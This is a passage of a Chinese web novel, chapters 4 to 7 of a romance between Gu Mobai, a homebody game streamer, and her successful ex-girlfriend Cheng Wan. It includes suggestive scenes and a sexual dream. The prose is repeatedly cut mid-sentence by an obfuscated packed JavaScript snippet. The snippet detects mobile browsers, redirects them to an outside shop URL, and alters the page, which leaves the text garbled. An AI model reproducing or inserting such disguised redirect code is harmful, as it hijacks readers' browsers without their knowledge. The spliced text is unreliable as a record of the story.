她张了张嘴,把原本要说的话咽了下去,回答道:“好好好,那就让她在你们家先住一晚,小茉你有心了。” 顾茉白嘴甜,给两个长辈灌了一会儿迷魂汤,把她们给哄得三迷五道的,眼看着差不多了,才乖乖巧巧的说了拜拜。 电话一挂,她立即往椅子上一瘫,长叹一声:“我靠累死我了,这都什么事啊。” 这个电话打完,还有下一个。 顾茉白休息几秒,又认命的爬起来,抓起旁边的内线电话,给家里的阿姨打电话,让她去程晚的房间看看,要是有什么缺的东西,拜托她帮程晚拿一下。 反正她是不可能自己去给程晚拿的,让阿姨帮忙已经是仁至义尽了。 把电话都打完,顾茉白长舒一口气,忙了一整天,现在终于到属于她自己的时间了。 她把电脑上的直播助手打开,连上最近在玩的一款游戏,点开闪烁的光标,说:“大家久等了,今天我们继续来玩《诡话之家》,昨天我们已经推到关键剧情了……” 她做游戏主播已经有一段时间了,玩的又是小众单机恐怖游戏,现在直播间人气很稳定,不少喜欢恐怖游戏又不敢自己玩的观众会每天蹲在她的直播间,就是为了看游戏剧情。 她刚一开播,直播间的弹幕就哗啦啦的涌了出来: 【开了开了,终于等到了,昨天那个地方真是断得抓心挠肝,我一晚上没睡着】 【好甜好甜,我要晕过去了,糖分+11111111】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她扔下鼠标,决定摆烂五秒。 弹幕见她不动,纷纷安慰起了她,还有不少人刷起了礼物,满屏特效不断的炸开。 顾茉白一边机械的感谢礼物,一边没来由的想起晚上吃饭的时候,程慕兰一脸骄傲的讲起程晚的成就,说她在A国开了公司,今年还被评为了硅谷最有希望的科技公司,大家都说她是一颗冉冉升起的新星云云。 顾明佳在一旁附和,眼中有羡慕,也有无奈。 程晚还是那么优秀,是所有人眼中的骄傲。 她还是那么废柴,是社会的边角料。 唉…… 顾茉白默默叹了一口气,她是很满足现状,没觉得有哪里不好,但有时候她也看得出来,顾明佳虽然把我们家有钱,养你一辈子都行挂在嘴边,但看见程晚这样的女儿,还是会很羡慕的。 顾茉白休息了几分钟,点了读档,打开麦克风,把自己的状态调整到活力满满,再次开口: “来,我们继续看后面的剧情。” 弹幕上的礼物特效停了一会儿,评论多了起来。 【小茉今天怎么了?是不是累了?】 【对啊,平时这种操作根本难不倒我们小茉的】 【宝宝状态不好就休息休息,我们可以等的】 “没事没事,”顾茉白连忙笑道,“就是有点心烦,没注意到它跳出来了,已经调理好了。” 伴随着她的“已经调理好了”,怪物啪一下跳到她面前,把她吓了一跳,下意识叫了一声。 顾茉白:“……” 这下是真调理不好了。 【该说不说刚刚那一声好萌……】 【我有罪我不该在小茉被吓到的时候觉得可爱】 顾茉白:“……” 完了,简直是职业生涯滑铁卢。 正在她扶着额头破防的时候,房间门被敲响了。 很有礼貌的三声。 她几乎是条件反射般的扑到电脑前,关游戏下播一气呵成。 快冲到卧室门口时,顾茉白忽然反应过来。 不对,她慌什么? 程晚现在又不是她女朋友了,还能管她打游戏不成? 顾茉白陡然停下脚步,慢悠悠的晃到门口,还故意站了几秒钟,想逼程晚着急。 但外面的人实在很有礼貌,明摆着是被她晾着,也没有再敲门催促她。 最后,还是顾茉白先忍不住了。 她一把拉开门,气势汹汹的问:“干嘛?” “给你倒了杯牛奶,”程晚站在门口,笑容温和,彬彬有礼的说,“谢谢你带我回家。” 5. 005 Chapter 5 走廊上的灯是暖黄色的,落在程晚的脸上,将她的眉眼映得格外温柔。 她的背后是米色的壁纸和木质相框装裱的水彩画,无一不是清淡的色泽,程晚被它们环绕着,却比它们显得更清淡。 她端着马克杯,牛奶是温过的,在空气里升腾起一点淡淡的雾气。 顾茉白一时忘记了自己要说什么,讪讪的让开一步:“哦……好。” 程晚走进她的房间,脚步微不可见的顿了一下。 顾茉白是喜欢新鲜的人,这么多年过去,她的房间变得两模两样,跟以前完全不一样。 程晚站在一堆五颜六色的布娃娃里,颇有几分无所适从。 比站在硅谷科技大会上还紧张。 顾茉白显然也发现了这个问题。 她的房间是满铺地毯,不是常见的家居地毯,而是一整块的毛绒美乐蒂。 现在,程晚的左边是透明玻璃展示柜,里面满满当当摆着手办和毛绒,搭配了适合每一个造型的桌椅家具,装饰得错落有致,分外具有观赏价值。 另一边,是她印着拇指姑娘绘本的童话风田园公主床,还有轻飘飘的薄纱窗帘和超大回字形书桌,连水冷机箱都是粉色系。 整体风格很萌,很可爱,也……很吵。 穿着深色衬衫的程晚站在这里,就像是闯进了异世界一样,浑身上下都写着格格不入。 或许对于顾茉白而言,她就像是一段运行错误的代码,放在哪里都不合适吧。 酸涩的念头从程晚的脑中掠过,又被她迅速压了下去。 她是不容许自己有痛苦和软弱的人。 这样的想法太矫情,几乎是出现在程晚脑中的第一秒,已经让她对自己感到恶心。 程晚很小的时候就意识到,如果有想要的东西,应该拼尽全力去争取,而不是站在原地等待。 哭是没有用的,没有人会心疼失败者的泪水。 “牛奶放在哪里?”程晚问道,“有点烫,等会再喝。” “哦哦,给我吧,”顾茉白伸出手,把牛奶接过来,在桌上扒出一个角落,不好意思的笑笑,“我这有点乱,你别介意。” “怎么会,”程晚环顾四周,笑意更深几分,“很可爱。” 顾茉白盯着她:“你是想说幼稚吧?” “哪有,”程晚摇头,“你把我想得太坏了。” 她本来就是借着送牛奶的机会,过来看看顾茉白,现在顾茉白想跟她聊天,她求之不得,完全没有要走的打算。 只是这个房间里东西虽多,但除了电脑桌前的电竞椅,似乎没有第二把椅子。 程晚在房间里站了几秒,见顾茉白没有邀请她的打算,干脆开口问道:“我坐哪里?” 顾茉白的眼睛睁大了,后知后觉的意识到自己干了什么,天杀的,她刚刚就应该站在门口把牛奶喝了,干嘛要把程晚放进来呢? 程晚。卧室。单独相处。 危险系数高达SSS。 现在拒绝已经迟了,大晚上的,顾茉白不想招惹程晚。 以她的恋爱游戏经验,同时具有“久别重逢”和“前女友”这个两个元素的场景,是非常非常容易打出限制级剧情的。 她仰起脸,对程晚扯出一个笑容,指了指她身边的巨型粉色玩偶。 “嗯,这个嘛,其实你旁边的这个美乐蒂呢,它是一个沙发……” 程晚的头顶很明显的冒出了一个问号。 她的视线落在美乐蒂身上,大大的粉红兔子正在对她无辜的笑,看起来跟顾茉白的表情有几分相似。 “来,你看。” 顾茉白一把薅住美乐蒂的两只耳朵,把它从地上拎起来,用力抖了抖,软乎乎的兔子顿时变成了一个大大的圆球。 她把这个东西放在程晚的脚下,用力拍了拍: “豆袋沙发,很软的,你试试。” 程晚定定的看着她,顾茉白正趴在美乐蒂的身上,被两只粉红色的耳朵环绕着,愈发显得那张脸也软乎乎的,比玩.偶更可爱无数倍。 “怎么试?”程晚说,“我有点不忍心。” “这有什么不忍心的?”顾茉白顿时乐了,整个人倒在美乐蒂的身上,“虽然很可爱,但还是沙发呀,你也来。” 她伸出手,勾住了程晚的指尖,将程晚一把拉了过来。 程晚重心不稳,猝不及防的倒在沙发上,下意识抓紧了她的手。 距离一下被拉得极近,她的半边身体压在顾茉白的身上,另外半边身体陷在柔软的沙发里,一时晕头转向,分不清哪边更软。 “怎么样?”顾茉白撑着脸,得意洋洋的问她,“很软吧?” 程晚的耳朵有点烫,声音很低:“……对。” 顾茉白炫耀完自己的美乐蒂沙发,感到大为满足,对她点点头,声音里都染着快乐:“不错,有品味。” 程晚这个人,以前不解风情,每天就知道抓着她学习,现在倒是开窍了点,看来人多去接触一下新鲜事物,还是有用的。 “在哪里买的?”程晚问道,“很可爱。” 顾茉白更惊讶了:“你也想要?” 她上下打量着程晚,或许是到了家里,程晚的那两粒扣子一直没有系上,刚刚被她拽了几下,连带着版型也不再规整。 微微发皱的衬衫散出来,领口和腰间都露出一点若有似无的皮肤,在深色的布料下,愈发显得莹润如玉,白得晃眼。 栗色的长发散落在肩头,微微卷曲着,在这个被可爱填满的房间里,程晚陷在软乎乎的美乐蒂沙发里,锋利的气质被稀释了大半,只剩下无尽的温柔。 曾经让顾茉白深深眷恋、无法自拔的温柔。 “对啊,”她抬起下巴,往顾茉白这边靠近些许,很认真的看着她,“我也想买一个,放在我家里。” 顾茉白的心脏猛地的跳了一下,忽然意识到,她现在正和程晚挤在一张沙发上,而是是一张没有具体形状、会随着她们的动作扭来扭去豆袋沙发。 就比如刚刚程晚那个动作,让沙发整个都朝着她那边倾斜,她也在不知不觉中,靠在了程晚的怀里。 程晚勾着她的手,无意识的摆弄着她的手指。 一根根掰开她的手指,跟她十指交缠,指腹蹭过她的手心,摩挲过她的指尖,又慢慢松开,任由她的手从自己的手心里滑落,过一会儿,又再一次缠上去。 而她的怀抱,也是若有似无的,环住她的腰,却没有将她完全抱住。 向着她这边偏头的时候,又近得像是会随时吻住她。 顾茉白的额头开始冒汗了。 她不知道程晚有没有察觉到,反正她是觉得……现在这个姿势非常非常暧.昧啊! 如果说挤在一张沙发上聊美乐蒂,还能算是朋友间的交流。 这样一边玩着对方的手,一边靠在对方的怀里聊美乐蒂,这怎么看都不像是朋友该干的事情吧?! “嗯,等下我把链接发你啊,你现在住哪?要不要配个小茶几什么的,这个沙发有配套的茶几,也很可爱的。” 顾茉白一边胡言乱语,一边伸手去扒程晚的手,但她刚一伸手,就发现程晚的注意力恐怕完全不在手上,根本没有发现她的目的,反而非常顺理成章的把她的另一只手也握住了。 更可怕的是,随着她的两只手都被程晚握住,她整个人都顺势倒在了程晚的怀里。 程晚的下巴搁在她的肩膀上,慢悠悠的问道:“我家没我的房间,我现在住和平饭店,等过一阵他们收拾好了,我再搬回去。” 独属于程晚的清淡冷香环绕着她,将她兜头兜脑的罩住,无孔不入,撩拨着她的每一根神经。 而她的后背,正靠在程晚的怀抱里,触感柔软到让她头皮发麻,偏偏程晚还捏着她的手指,温热的呼吸不断落在她的耳边。 顾茉白的脑子快短路了。 距离好近,程晚好香好软,不对,现在不是想这个的时候,话说她都回国了,她爸妈连个房间都没准备,还要住酒店啊这也太过分了,唉唉别捏手心痒痒的…… 无数个念头在顾茉白的脑子里转来转去,像是纷乱的毛线团,抓不住那个最重要的线头。 早已散掉的酒意仿佛又回来了,顾茉白觉得自己晕晕的,猛然把手抽回来,一把按在自己的脸颊上,狠狠揉了两把。 “怎么了?”程晚问道。 “没怎么,”顾茉白从她怀里挣脱出来,“有点晕,可能酒没醒。” 她站起来,三两步走回自己的桌前,抓起那杯牛奶,咕噜噜的喝下去,坐在电竞椅上发呆,用力眨了眨眼。 好像清醒了。 不对,就算是牛奶解酒,但这效果也没这么立竿见影吧?! 那只能是…… 顾茉白将视线挪回豆袋沙发上,程晚正陷在美乐蒂的怀抱里,抬头看着她,眼神里满是担忧。 看起来很无辜,但她有充分的证据,怀疑自己刚刚是被程晚钓傻了。 “好了好了,链接我等会发你,你先回去睡觉吧,坐那么久的飞机不累吗?” 顾茉白把杯子一放,伸手去拉程晚,表情格外诚恳。 “你今天好好睡一觉,明天等你醒了,我们去吃黄鱼面怎么样?我记得你以前最爱吃了。” 程晚见好就收,顺势站起来:“好啊,那我等你来叫我?” “嗯嗯,你安心睡吧,时差倒过来再说,”顾茉白笑眯眯的说,“不急,面馆又不会跑了。” 真的很可爱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424237|200858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程晚看着她的笑容,在心里感叹。 明明刚刚都察觉到了,明明就知道她图谋不轨。 但还是会在乎她是不是太累,担心她时差倒不过来,记得她最喜欢吃的东西。 总是说她很温柔,其实自己才是最温柔的那一个,善良得像是永不熄灭的发光体。 “好,那我先回去了,你不要太晚睡觉,”程晚笑着说,“刚刚在打游戏吧?” “干嘛?我现在可是成年人,不受防沉迷系统拦截的,”顾茉白警觉道,“成年人打游戏天经地义,合法的。” “没说不让你玩,”程晚实在忍不住,伸手摸摸她的头,“早点睡觉,你熬太晚了会头痛。” “哦……”顾茉白憋着的那股气烟消云散,连打掉程晚的手都忘了,“你还记得啊。” 程晚帮她将门带上:“你的事我都记得。” 房间门在眼前关上,顾茉白一时忘了呼吸。 脑海之中,只剩下程晚消失在门口的清淡剪影。 好可怕,什么叫你的事我都记得。 长那么性冷淡,结果是重力系。 你这种人设,放在漫画里都只能当配角。 顾茉白摇摇头,重新回到电脑前,但是没有打开之前在玩的恐怖游戏。 刚刚跟程晚在沙发上滚了一通,她身上的那点冷香还留在卧室里,顾茉白实在是不想在这样的氛围里,忽然被一个女鬼跳脸。 左右今天的直播也开过了,虽然时长还差点,但她这个月播得还算多,应该能补上。 顾茉白在电脑前呆坐了一会儿,又打开了一个玩到一半的恋爱游戏。 过了几个剧情点,两个女主的好感条往上涨了一大截,眼看着马上就要解锁新CG,顾茉白却把鼠标一扔,直接停下了。 不行,这种时候不能解锁。 月黑风高,刚跟前女友搂搂抱抱完,解锁一个新CG,那今天晚上还要不要睡觉了? 顾茉白一把捂住脸,都怪程晚,害得她连游戏都玩不下去了。 绝不是因为她本人心思活络,玩的游戏又不清水。 顾茉白思考了一番,干脆拉开衣柜,抓了条睡裙去洗澡。 出门的时候,她还左右张望了一下,客房和她的房间不在一层楼,只要程晚没在门口堵她,她们是不可能撞上的。 顾茉白溜进浴室,一边洗澡,一边不合时宜的想到,以前程晚在家里住的时候,她还会趁程晚洗澡的时候,故意去敲楼下浴室的门。 程晚从一开始的震惊和害羞,到打开门让她进来,再到给她发短信,让她什么时间到浴室来,只花了一个月。 这么说,这个人真的很闷.骚。 她只是觉得一起洗澡很好玩,但后来程晚每次叫她去浴室都……等等停一下! 顾茉白有时候真的挺恨自己这个脑子的。 正经事记不住,黄色废料忘不了。 温热的水流打在她的肩膀上,浴室里雾气缭绕,给回忆里的画面多加几分暧.昧。 顾茉白忽然觉得有点热,口干舌燥。 她调低了水温,没两秒钟又觉得有点冷。 这破热水器真该修修了,这算什么恒温系统啊?顾茉白腹诽两句,再次调高水温,同时把脑子里的画面赶走,迅速洗完澡,把自己砸在床上,拉过被子蒙住头。 漫长的一天终于结束。 顾茉白的睡眠一向很好,很快坠入了甜梦。 只是,今天的梦境不再纯白,染上了别的颜色。 无处不在的冷香,终于摄住了她,吻上她的脖颈,顺着锁骨,一路向下。 黏腻的梦里,她的卧室没有开灯,只有电脑屏幕闪烁着幽幽的微光,顾茉白躺在她的小沙发上,程晚深深的注视着她,漆黑的眼眸中,是比多年前更浓重的占有欲。 顾茉白觉得害怕,又觉得爽,她伸出手,去触摸那双眼睛,却被程晚避开。 梦里的程晚,比起真实的程晚,缺了温柔,多了粗暴。 她被拦腰抱起来,按在书桌上。 程晚居高临下,看着她,令她颤抖到战栗。 顾茉白记忆里的片段轮番上演,从书桌到椅子,再到浴室和窗台,最后变成床上,她被程晚按着腰,不许她回头,完全被程晚掌控。 程晚做得太过分,她想逃,又被抓着脚踝拉回来,连双手都被反剪在身后,只有眼泪在不停往下掉。 太坏了,姐姐,求求你…… 她小声呢喃,想求程晚停下。 顾茉白不断的挣扎,却始终被那股冷香摄住。 直至她听见程晚清冷的声音:“宝宝,你的直播好像没关。” 刹那间,顾茉白被吓醒了。 呜呜,明明前面那么爽,怎么最后变成噩梦了。 6. 006 Chapter 6 程晚一觉睡到了中午。 卧室里拉着窗帘,只有一点光线从缝隙里漏出来,在地板上洒下点点光斑,床褥柔软,散发着阳光的气息,格外好闻。 她刚睁开眼,又想继续睡过去。 好在残存的理智还在工作,告诉她,现在她是在别人家里,最好还是早点起来。 程晚伸出手,去摸床头柜上的手机。 一看时间,已经快十二点了,早就过了正常的起床时间,奔着中午去了。 糟糕。 程晚按住太阳穴,太没礼貌了。 ……顾茉白怎么没叫她? 程晚赤足踩在长毛地毯上,拉开窗帘,刺目的阳光照进来,晃得她眼花,她默默站了两秒,又把窗帘拉上了。 刚出现的影子瞬间消失,卧室里恢复了昏暗,她没开顶灯,只是顺手把床头柜上的小台灯打开了。 一簇如豆般的灯光亮起,程晚不合时宜的想起,以前她这样的时候,顾茉白总是笑话她,说她像吸血鬼,一点光都见不了。 然后拉着她出去玩,逛公园,野餐,去欢乐谷坐过山车,告诉她,S市欢乐谷的谷木游龙,是全国最快的木质过山车。 程晚站在那座巨大的木架之下,仰望着被切割成无数块的天空,被顾茉白兴致勃勃的拉着,坐在她从不会尝试的游乐设施上,听顾茉白说,等以后有机会了,要跟她坐遍世界上所有的过山车。 可惜,她眼里好玩的东西那么多,对过山车的兴趣,很快便烟消云散了。 就像是对她的兴趣一样。 程晚深吸了一口气,连那盏台灯,都觉得有点刺眼。 椅背上搭着她的衣服,是昨天阿姨帮她洗好烘干后送上来的,程晚换过衣服,关灯下楼。 什么都没带,更没有理由继续留宿。 必须想个办法,让顾茉白不要再躲着她。 正午十二点,顾家的客厅里正是热闹的时候。 程晚一出现,顾明佳就看见了她,热情的招呼道:“小晚起来了?时差倒过来了没有?要是还不舒服,等下吃了午饭,睡个午觉再回去。” 程晚点点头:“差不多了,谢谢顾阿姨。” “谢什么,你在我们家住了那么久,阿姨看你,就跟看自己的女儿一样,”顾明佳脸上漾起笑容,“你现在总算是回来了,有空多跟小茉玩一玩,这孩子现在真是……” 顾明佳欲言又止,一时有点尴尬。 程晚算是她看着长大的,跟自己的女儿也没什么区别,只是确实没血缘关系,又这么多年不见,一下没收住,上来就跟她倒苦水,确实是不好意思。 好在程晚依旧笑意温柔,丝毫没有因为如今事业有成,就变得难以接近。 她在顾明佳身边坐下,抓了一把瓜子:“小茉怎么了?” 顾明佳往三楼瞟了一眼,没什么动静,不由得叹了一口气:“她大学毕业以后,上了两年班吧,上得不太开心,我就说辞了也没事,家里就她一个女儿,养着她是绰绰有余,后面找工作也不顺利……现在整天窝在房间里,不知道在做什么,问她,她就说她有自闭症!” 说到这里,顾明佳真有点咬牙切齿了:“她什么都不跟我们说,我是真的担心她。” 程晚的眉间掠过一抹忧色,点头道:“有空我问问她,不过,我们现在关系也不好,怕是不愿意跟我说。” 顾明佳说:“你们都是年轻人,总比我们更好交流。” 程晚应了一声,听见楼上传来一声轻响,不由得抬起头,看向顾茉白的房间。 三层挑空的别墅中,客厅可以将楼上的走廊看得清清楚楚,顾家的装修是非常复古的中式风格,走廊上装的是红木雕花楼梯,顾茉白趴在扶手上,朝着下面喊:“妈,你们俩在背着我说什么呢?” 顾明佳脸色由阴转晴,笑着说:“说你天天缩在房间里孵蛋,让程晚管管你呢。” 顾茉白裙摆一飞,从楼上疾步跑下来,一把搂住顾明佳的胳膊,撒娇似的晃了晃:“干嘛要程晚管我,我俩非亲非故的,我只听妈妈的话……” 话说到一半,顾茉白眼角余光瞥到程晚,果然脸色不好看。 估计是又被非亲非故惹到了。 顾茉白在心里翻个白眼,就说就说,让你好好清醒清醒,看看我俩是什么关系。 一回来就捏手摸腿亲吻,害我一晚上没睡着,现在还跟我妈亲亲热热的聊上了,再这么放任下去,我这日子还过不过了! 顾茉白立场明确,下巴一抬,连个眼神都没给程晚。 程晚反而笑了。 真有意思啊,她一句话没说,顾茉白自己就把一出戏演完了。 “顾阿姨,你看她,昨天还说我刚回来,要带我去吃黄鱼面,今天就说我们非亲非故了,”程晚微微低头,显出几分惆怅,“我哪敢管她呀,小茉现在都不叫我姐姐了。” 顾茉白不乐意了:“我昨天还叫过你姐姐。” 程晚抬起眼,笑意盈盈:“梦里叫的吗?” “……”顾茉白顿时脸爆红,“程晚!” 她腾的一下站起来,越过顾明佳,去拉程晚的胳膊:“走走走,我带你吃黄鱼面去,不是想听我叫姐姐吗?姐姐姐姐姐姐,满意了吗?” 她推着程晚往楼上走,顾明佳在后面看得摇头,这么多年了,两个人还是一见面就打打闹闹,真不知道是长大了,还是没长大。 程晚被她推进了房间,门刚一关上,立即抓住顾茉白的手腕,把她按在了门扉上,还伸手在她的背后垫了一下,免得她被撞到。 “昨晚梦见什么了?”程晚问,“嗯?” 顾茉白:“……” 她脸一偏,拒绝回答。 程晚又近一点:“梦见我了?” 顾茉白呼吸一顿,声音小得几乎听不见:“你别自恋。” “顾茉白,你脸这么红,还能是梦见了什么?”程晚将她放开,好整以暇的看着她,“要讲讲吗?我在梦里是怎么艹你的。” 顾茉白两眼一黑,有种死过去的冲动。 她要是知道今日有此一劫,当年绝对不会那样对程晚。 眼前的女人还穿着昨天那身衣服,深蓝色真丝衬衫,下摆收束进同色系长裙之中,勾勒出瘦削的身形。 经过一晚上的睡眠,她周身的疲惫消失了一点,取而代之的是藏不住的锋利气质。 “当时不是没来得及说吗?” 程晚拉过她的美乐蒂沙发,松松垮垮的陷在里面,语气格外轻巧。 “现在说也不迟啊,宝贝。” 顾茉白额头冒汗:“你这个记忆力是不是有点太好了……” 要不是程晚提起这茬,她都要忘记了。 她跟程晚分手前,还在视频里说,姐姐,我昨天晚上梦见你了哦,你想不想知道,你在梦里是怎么艹我的? 顾茉白还记得,在她过于直白的语言面前,程晚的耳朵慢慢的、慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424238|200858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢的红了起来。 别说,现在想起来,还是觉得真的很有意思。 不对不对,现在不是觉得有意思的时候。 六年过去,程晚显然已经level up了,已经可以面不改色的说出这种话了。 顾茉白往她那边瞟了一眼,程晚正饶有兴致的盯着她,明摆着就是在观赏她的表情。 “对啊,”她语调轻柔,勾住顾茉白的耳朵,“我不是说过了吗?你的事情,我全都记得。” “有没有人说过你现在鬼鬼的……”顾茉白小声嘀咕,“我真的不爱吃阴湿重力系啊。” 程晚没听清:“嗯?” “没什么,”顾茉白可不想跟她解释,立即抓起手机,顺理成章的转移了话题,“中午吃黄鱼面?你要加码子吗?这家可以加大排、油豆腐、红烧肉……” 顾茉白放弃了报菜名,把手机塞给程晚:“太多了,你自己看吧。” 程晚看着手机上的界面:“我确认一下,我们不是要去吃学校门口那家黄鱼面吗?” “对啊,这就是那家的外卖。” 顾茉白一点头,理所应当的说: “都什么年代了,还要自己出去吃啊?” 程晚对吃什么没有意见,她只是很纯粹的想跟顾茉白一起去故地重游。 顾茉白不想出门,说要点外卖,她也没什么意见,只要顾茉白高兴就好。 “忘记可以点外卖了,”程晚笑笑,“我不太点外卖。” 顾茉白叹息一声,很是同情:“我懂,毕竟你也点不到什么好吃的。” 她从程晚手里接过手机,麻溜的下了单。 外卖显示三十分钟后送达,顾茉白想了想,这个时间要是跟程晚大眼瞪小眼,不知道又要讲出什么惊世之语。 她又点开一家奶茶店,精挑细选了两款时下正热门的果茶,送给程晚过目。 “你看看,我给你选了一个满杯西瓜脆啵啵,”她坐在电竞椅上,拿着手机不方便,于是凑到程晚旁边,在屏幕上指指点点,“你刚从宁古塔回来,搞点甜的喝喝吧。” 程晚视线一飘,落在她的脑袋上,毛绒绒的,头发细软,看起来很好摸。 她有点手痒,但顾茉白正在热心给她介绍奶茶,势必要让她这个归国留子感受到家的温暖。 “好啊,你喝什么?还是杨枝甘露吗?” 程晚心不在焉的说着,眼神顺着她的头发,飘到白皙修长的后颈,纤细柔软,仿佛一伸手就能握住。 “顾茉白,我能摸摸你的头吗?” “可以……啊?”顾茉白当场宕机,“你要干嘛?” 程晚重复了一遍:“我想摸摸你的头。” 顾茉白实在难以置信,这个刚刚还把她按在门上,要她仔细讲讲自己是在梦里怎么被她艹的人,现在居然一脸认真的问她,能不能摸摸她的头。 亲也亲了,抱也抱了,现在在装什么礼貌啊! “程晚,你是在耍我吗?”顾茉白上下打量着她,眼里满是疑惑,“这种事还要问我?” “不用问吗?”程晚语气认真,“那我摸了?” 顾茉白:“摸。” 她脑袋一低,乖得像只毛绒绒的小狗。 程晚的心软成了一片,伸手揉揉她的发丝,又忍不住把她抱过来。 “小茉。” 她的手搭在她腰间,声音很小,温柔得不可思议。 “别生姐姐的气了,好不好?” 7. 007 Chapter 7 顾茉白被她抱在怀里,首先感受到的——是清冽的冷香。 独属于程晚的气息,她曾经很熟悉的味道。 无孔不入、像是缠人的蛇,慢慢爬上她的脚踝,顺着皮肤慢慢向上,将她整个人笼罩。 那件真丝衬衫贴着她的脸,很细很软,带着微微的凉意。 但在那凉意的背后,是一点浸透了冷香的温热,正在透过薄薄的布料,不断传递到她的皮肤。 ……那是程晚的温度。 顾茉白后知后觉的意识到,她现在整张脸完全埋在了程晚的怀里。 难怪这么软……顾茉白的脑子里先是转过了不太道德的念头,并且动作比思维更快,下意识的埋进了程晚的胸前。 程晚的呼吸都停了一下。 半秒后,她凉凉的声音在顾茉白的耳边响起:“顾、茉、白,我在跟你说正事,你在干什么?” 顾茉白倒吸一口凉气,反应过来自己到底在做什么的时候已经迟了。 “这个嘛,一日不见如隔三秋,你看我们这么久没见过了,有点想念不是应该的嘛……” 顾茉白一边说瞎话,一边把脸抬起来,偷偷观察程晚的表情,不好,冷冷的,看来是真在生气。 “好了好了我都让你摸头了,给我埋一下胸怎么了?真小气。” 她极为熟练的倒打一耙后,程晚反而笑了。 “摸一下头就要埋胸,你这笔账是真会算啊,”程晚索性在她头上乱揉一阵,把柔软发丝揉成了炸毛小狗,“那我都让你埋胸了,你让我亲一下?” “不行不行,”顾茉白断然拒绝,“谁要跟前女友亲来亲去。” 尤其是现在,程晚笑意凉凉,但实在有点好看。 谁知道会亲成什么样,她不要。 “原来我是前女友啊,”程晚说,“我还以为我跟你非亲非故,没什么关系呢。” 顾茉白被摸够了,把她的手拽下来:“程晚,你也太记仇了。” 程晚不说话,只是看着她。 顾茉白被她盯得发毛,又去抓她的手腕,不甚走心的晃了晃:“好了好了,不该说你跟我非亲非故,不该说你小心眼记仇,我们一报还一报,扯平了好不好?” 顾茉白说瞎话的时候,眼神会习惯性的乱飘。 程晚一看,就知道她并不清楚这一报还一报还在哪里了,不由得叹一口气:“我没生气。” “那我也没生气啊,”顾茉白愣愣的说,“诶不对,我没生气,你抱着我道什么歉?” 她反应过来了,瞬间跟程晚拉开距离,脑袋离开了程晚的掌控范围,可是人还在程晚怀里抱着,显得她的警觉格外喜感,像小动物似的,被人拎住了命运的后颈皮。 “程晚,你就是想找个借口抱我吧?” 程晚将手绕到她的后背,有一搭没一搭的拍拍。 怀中的人很快松懈下来,没了刚刚的警觉,舒舒服服的窝在她怀里,仰头看着她,自以为笑得很坏,实则完全是邪恶猫猫头。 顾茉白:“程晚,你说说,我生什么气了?” 程晚手痒痒,心也痒痒。 顾茉白的脸软绵绵的,看起来很好捏,唇角向上弯,带着甜甜的草莓味。 程晚克制住乱了一瞬的呼吸:“昨天是不是不想来?” 顾茉白点头:“当然了,我又不是受虐狂,干嘛要去前女友的接风宴?” 她一边说,一边深沉的摇头:“你这个人也真是见了鬼了,回来就回来,请我一起吃饭是什么意思呢?” “顾茉白,我承认我是故意的,用接风宴当借口,让你不得不来。” 程晚低下头,很认真的跟她道歉: “不好意思,让你做了你不想做的事。” 顾茉白睁大眼睛,心想你让我做不想做的事情还少吗?现在还道上歉了? 那以前你把我摆弄来摆弄去,挑战人类身体极限的时候,怎么不跟我道歉? 她抓了抓头发,有点不适应程晚跟她低头,姿态放得这么低。 在顾茉白的印象里,程晚一直是高高在上、无法攀折的高岭之花,要不是她近水楼台先得月,这轮月亮还挂在天上,碰都碰不到呢。 “你知道就好了,下次别这样了,”顾茉白只用了一秒,就适应了程晚的新画风,顺理成章的接受了她的道歉,“昨天那顿饭,是真吃得我难受。” 顾茉白缩了缩脖子,心有余悸: “你也知道我不喜欢去这种饭局的,上来先敬三轮酒,饭还没吃两口,人已经晕了,说来说去都是我听不懂的话,不答不合适,答又不知道怎么答,只能坐在那赔笑。” 尤其是这两年。 大学毕业后,不能再装疯卖傻,当自己是小孩子,撒娇就能糊弄过去。 饭桌上的话题日益现实,从工作到买房,再到相亲结婚生小孩,越来越让人难以招架。 顾茉白说着说着,神色越来越黯淡:“我只是个死宅啊……” 她想说我只想打游戏,对上班买房结婚生小孩都没兴趣,人长大了一定得干这些事吗? 但想想程晚如今功成名就,离现代社会优质人类模板只差一步,又把话咽下去了。 她说的这些,程晚应该很难理解吧。 “下次别叫我了,”顾茉白兴致缺缺的摆手,“这次就算了,我也没怪你。” 程晚敏锐的感觉到她有话想说,但最终没有说出口。 那种感觉很奇怪。 程晚的心里缺了一个小口,有点空落落的。 “对不起,”程晚轻声说,“我太想见你了。” 她说得太直白,顾茉白反而不知道该怎么回答。 气氛一时变得有些奇怪。 顾茉白更觉得受不了。 她可以忍受程晚对她亲来抱去,揉头摸手,那都没什么,反正也不会掉一块肉,但是这微妙的气氛是怎么回事啊! “怎么搞这么伤感,”顾茉白嘀咕道,“我还没说什么呢,怎么看都是我比较飞来横祸吧,算了算了,毕竟是我先甩你的,算我活该了。” 她抬起头,脸上又是灿烂的笑:“反正下次不许了!” 